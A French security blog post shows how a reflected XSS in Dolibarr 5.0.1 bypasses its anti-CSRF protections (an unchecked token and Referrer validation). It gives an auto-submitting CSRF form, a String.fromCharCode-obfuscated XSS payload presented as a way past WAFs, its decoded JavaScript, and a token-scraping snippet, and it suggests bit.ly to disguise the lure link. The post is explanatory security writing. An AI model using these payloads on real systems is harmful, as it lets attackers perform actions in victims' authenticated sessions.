Skip to content

Contournement d’une protection anti-CSRF via XSS

Dans cet article nous alors étudier ensemble le cas d’un contournement de protection anti-CSRF grâce à l’exploitation d’une vulnérabilité XSS.

Pour rappel, une faille CSRF consiste à faire effectuer, par notre victime, une action dans son contexte de navigation, en profitant notamment de l’envoi automatique des cookies le présentant comme authentifié.

Je donne une explication plus précise et plus poussée des vulnérabilités CSRF dans cet article, qui prend pour base DVWA (Damn Vulnerable Web Application) : DVWA (2/4) : Solutions, explications et étude des protections
Plusieurs protections (principalement deux) peuvent être mises en place afin de se protéger des vulnérabilités et exploitations CSRF :

  • La vérification du header « Referrer », l’idée ici est de vérifier que le header « Referrer » (décrit dans la RFC 7231 : https://tools.ietf.org/html/rfc7231), automatiquement ajouté par les clients web (navigateurs) lors de l’envoi d’une requête pour indiquer d’ou ils viennent (c’est à dire quelle page les a mené à effectuer une requête). Si le header « Referrer » montre que le client viens de la même source lorsqu’il soumet une requête (et non pas de « attackers.com » par exemple), le serveur web pourra accepter la requête.
  • L’utilisation d’un Token Anti-CSRF : l’utilisation de tel jeton est généralement très bien prise en charge par les différents framework de développement web. L’idée étant que l’utilisateur prouve qu’il a bien utilisé un formulaire provenant du site web concerné et qu’il n’a pas utilisé un formulaire qui provient d’on ne sais ou et qui se contente d’envoyer les bonnes données à la bonnes pages sur la cible. L’utilisation des token anti-csrf est très commune aujourd’hui, cet article détaille la chose bien mieux que moi : OWASP CSRF Prevention

D’autres recommandations peuvent être mises en place mais ne sont généralement pas suffisante à elles seules :

  • Utilisation des requêtes « POST », afin de limiter les attaques simples utilisants des balises HTML telles que les balises « img »
  • Demander confirmation ou ajouter une étape d’action utilisateur (type « Saisissez votre mot de passe pour valider l’action » ou « Souhaitez ovus vraiment faire cela ? »), assez lourd à mettre en place pour des actions standards.

Après ce rapide rappel, il est maintenant temps de passer aux choses intéressantes. Nous allons voir comment une vulnérabilité XSS permet de mettre à mal une bonne partie des solutions proposées pour se protéger des vulnérabilités CSRF.

Et le patient du jour est : Dolibarr dernière version (5.0.1 à l’heure de l’écriture de cet article).

Ce sera l’occasion de vous donner un bon aperçu de la sécurité globale de l’outil. Il y a quelques mois je leur avait remonté en Responsible Disclosure une bonne partie des vulnérabilités que j’avais trouvé dans la version 4.X, mais la version 5.0 est visiblement sortie sans aucun correctif. Dommage pour les utilisateurs.

Etude de la protection CSRF par token anti-CSRF

Nous allons plus précisément nous intéresser au formulaire de création de groupe, pas très sensible pour le coup, mais l’important ici est le concept à comprendre : comment il est possible de contourner une ou plusieurs protection anti-CSRF si l’on ne prend pas garde aux vulnérabilités XSS.

Voici la tête du formulaire de création d’un groupe dans Dolibarr :

Formulaire de création de groupe Dolibarr
Formulaire de création de groupe Dolibarr

Plus intéressant maintenant, la requête POST générée lorsque l’on rempli ce formulaire et que l’on clic sur « Créer le groupe » :

Requête POST de création de groupe, avec un token anti-csrf
Requête POST de création de groupe, avec un token anti-csrf

On observe donc plusieurs éléments.

D’abord, Il s’agit d’une requête POST. Je ne pourrai donc pas faire exécuter cette requête à un utilisateur authentifié simplement en créant une page web sur autre site web que je contrôle et en y ajoutant une balise telle que celle-ci :

<img src=http://IP_server_dolibarr?/user/group/card.php?leftmenu=users&action=create>

Cela parce que les paramètres utilisés sont passés en POST.

Il y a visiblement un Referrer de passé, ce qui est normal puisque généré dans tous les cas par mon navigateur, qu’il soit utilisé ou non par le serveur. Charge à l’attaquant de vérifier que le serveur utilise ce header ou non.

Il y a un token, visiblement un token anti-CSRF, qui est généré dynamiquement côté Dolibarr pour ensuite être envoyé en tant que input hidden dans la requête POST, voyez plutôt :

Présence du token anti-CSRF dans le formulaire Dolibarr
Présence du token anti-CSRF dans le formulaire Dolibarr

Afin de tester rapidement la chose, le premier test à faire est de resoumettre la requête en omettant le paramètre anti-CSRF. Le mieux pour cela étant d’avoir intercepté la requête à l’aide d’un proxy (TamperData, BurpSuite, OWASP ZAP, etc.). J’utilise pour ma part OWASP ZAP, je fait un clic droit « Resend » pour pouvoir renvoyer la requête interceptée, j’enleve le paramètre « token » des paramètres POST envoyés, j’incrémente le nom de mon groupe pour éviter les doublons et je soumet la requête :
Je constate ici que la requête est acceptée et que mon nouveau groupe est bien créé. Cela est particulièrement intéressant. On voit en effet qu’un token anti-CSRF est présent, mais qu’il ne sert à rien, puisque son absence ne génère aucun refus de la part du serveur. On vient donc juste de tomber sur le fameux cas ou le token anti-CSRF n’est qu’une sécurité d’apparence et ne sert en réalité à rien.  Dans d’autres cas, on peut par exemple essayer les actions suivantes :

  • utiliser un token anti-CSRF déjà utilisé (par exemple obtenu via le navigateur de l’attaquant, et non celui de la victime);
  • mettre une valeur nulle, un format incorrecte ou convertir le paramètre en Array pour le paramètre token;
  • voir si le token anti-csrf est prédictible (rare), ou persistant (le même entre plusieurs formulaires, voir plusieurs sessions).

Le cas d’un token anti-csrf qui ne sert à rien est beaucoup plus courant qu’on ne le pense, je l’ai croisé à de multiples reprises durant les différents audits et bug bountys que j’ai effectué. Bien ! On peut maintenant penser à exploiter la vulnérabilité identifiée de la manière suivante :

  1. Créer une page web sur un site web contrôlé par l’attaquant
  2. Postionner sur cette page web un formulaire auto-submit (qui se valide tout seul, instantanément sans que l’utilisateur n’ai à cliquer dessus), formulaire qui va se chager d’envoyer les bons paramètres à la page web Dolibarr.
  3. Piéger notre victime pour qu’elle se rende sur cette page web, celle-ci ne verra pas grand chose car la soumission sera instantanée et se retrouvera sur Dolibarr

Voici une telle page web :

<html>
<body>
  <form action=http://192.168.1.23/dolibarr/htdocs/user/group/card.php method=POST>
    <input name=action type=hidden value=add>
    <input name=nom type=hidden value=groupe12>
    <input name=note type=hidden value=groupe12>
    <input style="display:none" type=submit>
  <form>
<script>document.forms[0].submit();</script>
</body>
</html>

Voici ce qu’il arrive si je tente ce scénario en tant que victime :

  1. Je me rends sur la page web du pirate
  2. Mon navigateur lit et traite le code HTML et Javascript qui s’y trouve
  3. Le navigateur émet une requête de création de groupe vers Dolibarr en envoyant mon cookie de session Dolibarr de façon automatique
  4. Le groupe est créé

Cependant, j’obtiens le message suivant :

Protection par vérification du Referrer Dolibarr
Protection par vérification du Referrer Dolibarr

C’est l’occasion de voir qu’une autre protection anti-CSRF est en place : la vérification du Referrer

En l’occurrence, si je regarde la requête générée par le navigateur de ma victime lors de l’auto soumission du formulaire POST de l’attaquant. On constate que le referrer est « http://localhost » alors que l’URL de mon dolibarr de test est « 192.168.1.23« , la protection Dolibarr détecte donc cette différence. Dans le cas ou l’utilisateur aurait réellement utilisé le formulaire Dolibarr pour créer un groupe, le Referrer envoyé par son navigateur devrait être « 192.168.1.23 » et rien d’autre. On voit ici que la protection anti-CSRF visant à vérifier le Referrer est efficace.

Pour contourner ce problème, il faudrait que l’on puisse implanter notre formulaire auto-submit et le faire exécuter depuis une des pages web Dolibarr. Cela est parfaitement faisable à l’aide du JavaScript, qui s’exécute côté client et qui offre de nombreuses possibilités. Encore faudrait-il une vulnérabilité XSS pour pouvoir exécuté du Javascript, ça tombe bien, les XSS, ce n’est pas cela qui manque dans Dolibarr. Il y en a justement une très basique dans le formulaire de recherche de l’onglet « Tiers ».

Contourner une protection anti-CSRF par vérification du Referrer via XSS

Voici l’exploitation basique de cette XSS pour afficher une pop-up :
L’objectif maintenant, est d’utiliser cette vulnérabilité XSS pour contourner la protection anti-CSRF de vérification du Referrer pour notre formulaire de création de groupe.

  1.  Connaitre le payload de la XSS qui va créer un formulaire auto-submit et l’ajouter dans le code source de la page Dolibarr
  2.  Faire en sorte que notre victime clic sur un lien contenant ce payload

Nous allons donc utiliser le payload suivant :

aze"><script>eval(String.fromCharCode(118, 97, 114, 32, 102, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 102, 111, 114, 109, 34, 41, 59, 10, 102, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 39, 109, 101, 116, 104, 111, 100, 39, 44, 34, 112, 111, 115, 116, 34, 41, 59, 10, 102, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 39, 97, 99, 116, 105, 111, 110, 39, 44, 34, 104, 116, 116, 112, 58, 47, 47, 49, 57, 50, 46, 49, 54, 56, 46, 49, 46, 50, 51, 47, 100, 111, 108, 105, 98, 97, 114, 114, 47, 104, 116, 100, 111, 99, 115, 47, 117, 115, 101, 114, 47, 103, 114, 111, 117, 112, 47, 99, 97, 114, 100, 46, 112, 104, 112, 34, 41, 59, 10, 118, 97, 114, 32, 105, 49, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 105, 110, 112, 117, 116, 34, 41, 59, 32, 47, 47, 105, 110, 112, 117, 116, 32, 101, 108, 101, 109, 101, 110, 116, 44, 32, 116, 101, 120, 116, 10, 105, 49, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 39, 116, 121, 112, 101, 39, 44, 34, 104, 105, 100, 100, 101, 110, 34, 41, 59, 10, 105, 49, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 39, 110, 97, 109, 101, 39, 44, 34, 97, 99, 116, 105, 111, 110, 34, 41, 59, 10, 105, 49, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 39, 118, 97, 108, 117, 101, 39, 44, 34, 97, 100, 100, 34, 41, 59, 10, 118, 97, 114, 32, 105, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 105, 110, 112, 117, 116, 34, 41, 59, 32, 47, 47, 105, 110, 112, 117, 116, 32, 101, 108, 101, 109, 101, 110, 116, 44, 32, 116, 101, 120, 116, 10, 105, 50, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 39, 116, 121, 112, 101, 39, 44, 34, 104, 105, 100, 100, 101, 110, 34, 41, 59, 10, 105, 50, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 39, 110, 97, 109, 101, 39, 44, 34, 110, 111, 109, 34, 41, 59, 10, 105, 50, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 39, 118, 97, 108, 117, 101, 39, 44, 34, 103, 114, 111, 117, 112, 101, 49, 51, 34, 41, 59, 10, 118, 97, 114, 32, 105, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 105, 110, 112, 117, 116, 34, 41, 59, 32, 47, 47, 105, 110, 112, 117, 116, 32, 101, 108, 101, 109, 101, 110, 116, 44, 32, 116, 101, 120, 116, 10, 105, 51, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 39, 116, 121, 112, 101, 39, 44, 34, 104, 105, 100, 100, 101, 110, 34, 41, 59, 10, 105, 51, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 39, 110, 97, 109, 101, 39, 44, 34, 110, 111, 116, 101, 34, 41, 59, 10, 105, 51, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 39, 118, 97, 108, 117, 101, 39, 44, 34, 103, 114, 111, 117, 112, 101, 49, 51, 34, 41, 59, 10, 118, 97, 114, 32, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 105, 110, 112, 117, 116, 34, 41, 59, 32, 47, 47, 105, 110, 112, 117, 116, 32, 101, 108, 101, 109, 101, 110, 116, 44, 32, 83, 117, 98, 109, 105, 116, 32, 98, 117, 116, 116, 111, 110, 10, 115, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 39, 116, 121, 112, 101, 39, 44, 34, 115, 117, 98, 109, 105, 116, 34, 41, 59, 10, 115, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 39, 118, 97, 108, 117, 101, 39, 44, 34, 83, 117, 98, 109, 105, 116, 34, 41, 59, 10, 102, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 105, 49, 41, 59, 10, 102, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 105, 50, 41, 59, 10, 102, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 105, 51, 41, 59, 10, 102, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 41, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 98, 111, 100, 121, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 102, 41, 59, 10, 118, 97, 114, 32, 97, 100, 100, 101, 100, 83, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 97, 100, 100, 101, 100, 83, 99, 114, 105, 112, 116, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 10, 118, 97, 114, 32, 99, 111, 100, 101, 32, 61, 32, 39, 100, 111, 99, 117, 109, 101, 110, 116, 46, 102, 111, 114, 109, 115, 91, 49, 93, 46, 115, 117, 98, 109, 105, 116, 40, 41, 59, 39, 59, 10, 97, 100, 100, 101, 100, 83, 99, 114, 105, 112, 116, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 84, 101, 120, 116, 78, 111, 100, 101, 40, 99, 111, 100, 101, 41, 41, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 98, 111, 100, 121, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 97, 100, 100, 101, 100, 83, 99, 114, 105, 112, 116, 41, 59));</script>

Bon alors pas de panique, là, je vous dois quelques explications. Et ce n’est pas aussi compliqué que ça en a l’air. On reconnait déjà des éléments connus tels que

aze"><script>XXXX</script>

Ici, on devine que ce qui est dans la balise « script » est du Javascript et va être exécuté. Jusqu’ici tout va bien

eval ()

La fonction « eval » en Javascript, comme dans pas mal d’autres langages, permet d’exécuter les commandes passées. Rien de mystérieux non plus, on l’utilise notamment avec l’instruction suivante :

String.fromCharCode()

Cette fonction Javascript permet simplement de lui passer des valeurs du tableau ASCII en hexadécimal qu’elle va « convertir » en caractères lisibles. Les valeurs passées sont donc du code Javascript qui va être retraduit de valeur hexadécimale vers des valeurs texte, String.fromCharCode est exécuté grâce à « eval », puis « script »  va insérer tout cela joliement dans la page HTML. Pour le contenu de String.fromCharCode, le voici en plus lisible.

// Création d'une variable contenant le formulaire avec ses paramètres "METHOD" et "ACTION"
var f = document.createElement("form");
f.setAttribute('method',"post");
f.setAttribute('action',"http://192.168.1.23/dolibarr/htdocs/user/group/card.php");
// Création d'un premier élément INPUT pour le premier paramètre POST de la requête
var i1 = document.createElement("input");
i1.setAttribute('type',"hidden");
i1.setAttribute('name',"action");
i1.setAttribute('value',"add");
// Deuxième INPUT
var i2 = document.createElement("input");
i2.setAttribute('type',"hidden");
i2.setAttribute('name',"nom");
i2.setAttribute('value',"groupe13");
// Troisième INPUT
var i3 = document.createElement("input");
i3.setAttribute('type',"hidden");
i3.setAttribute('name',"note");
i3.setAttribute('value',"groupe13");
// Bouton SUBMIT du formulaire
var s = document.createElement("input");
s.setAttribute('type',"submit");
s.setAttribute('value',"Submit");
// On ajoute tout se beau monde dans le formulaire créé
f.appendChild(i1);
f.appendChild(i2);
f.appendChild(i3);
f.appendChild(s);
// On écrit le formulaire créé juste en dessous du body de la page courante
document.getElementsByTagName('body')[0].appendChild(f);
// On crée une balise "script" pour l'auto-submit de notre formulaire
var addedScript = document.createElement('script');
addedScript.type = 'text/javascript';
var code = 'document.forms[1].submit();';
addedScript.appendChild(document.createTextNode(code));
// On ajoute notre auto-submit en dessous du body également
document.getElementsByTagName('body')[0].appendChild(addedScript);

Ce bout de code Javascript n’est rien d’autre que le code HTML de l’attaquant qui souhaitait exploiter la CSRF étudiée en premier lieu, sauf que ce formulaire est ici dynamiquement construit dans la page Dolibarr au travers la XSS :

Corrélation entre le code Javascript et le formulaire HTML à créer
Corrélation entre le code Javascript et le formulaire HTML à créer

L’encodage dans String.fromCharCode n’était pas obligatoire, mais il permet de passer outre les WAF (Web Application Firewall) qui détectent certains payloads ou mot-clés Javascript. Si l’on récapitule, la victime qui va cliquer sur ce lien va automatiquement aller effectuer une recherche sur le système de recherche Dolibarr, la valeur recherchée est un payload exploitant la XSS, qui va créer dans le DOM un formulaire POST auto-submit, celui-ci va déclencher la requête de création de groupe. On contourne donc :

  • La protection visant à effectuer une requête POST, ce qui aurait pu être fait plus simplement sans la protection suivante :
  • La protection visant à vérifier le Referrer de la requête.

Pour faire cliquer un utilisateur authentifié sur ce lien, il faut user de quelques techniques de social engineering qui ne sont pas l’objet de cet article. On pourra notamment utiliser des outils comme bit.ly pour dissimuler notre payload en quelques chose de plus attrayant à cliquer.

En ayant la main sur le Javascript, il aurait également été possible de contourner la protection du token anti-CSRF (si il était présent autrement qu’à titre décoratif) de la façon suivante :

  1. Charger le formulaire de création de groupe dans le contexte de navigation de la victime
  2. Parser le code source obtenu afin d’y récupérer le token Anti-CSRF
  3. Générer le formulaire post auto-submit comme fait précedemment, mais cette fois-ci en y incluant le token anti-CSRF récupéré

Le code suivant, (non adapté à la cible Dolibarr) permet de le faire pour un token « anticsrf » dans le code HTML. Il fait ensuite un pop-up de la valeur récupérée.

var parser = new DOMParser();
        var resp = parser.parseFromString(document.documentElement.innerHTML, "text/html");
        token = resp.getElementsByName('anticsrf')[0].value;
        alert(token)

Plus globalement, il est important de noter que les XSS peuvent permettre le contournement de toutes les protections anti-CSRF :

  • Utilisation d’un cookie anti-CSRF : le Javascript permet de lire les cookies (si le flag HttpOnly n’est pas positionné : Sécurité des sites web : L’utilité des flags Secure et HttpOnly)
  • Utilisation d’un token anti-CSRF dans le formulaire : le formulaire peut être récupéré, donc le contenu du token anti-CSRF également
  • Vérification du Referrer : Comme nous venons de le voir, une XSS permet de faire exécuter des requêtes Javascript depuis le domaine vulnérable, le Referrer semblera (et sera) donc légitime.

C’est tout pour cet article, il comporte quelques notions complexes pour les débutants en sécurité mais j’espère avoir indiqué les bonnes ressources permettant de creuser les sujets délicats. Cet article nous a permis également de découvrir un peu plus la puissance du Javascript et la dangerosité des éternellement sous-estimées vulnérabilité XSS. N’hésitez pas à poser vos questions dans les commentaires

Partager :
Published inAttaques

2 Comments

  1. Morvan

    Article très clair, et merci pour les lectures annexes

  2. Très intéressant, comme quoi les failles XSS sont vraiment à prendre au sérieux !!

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *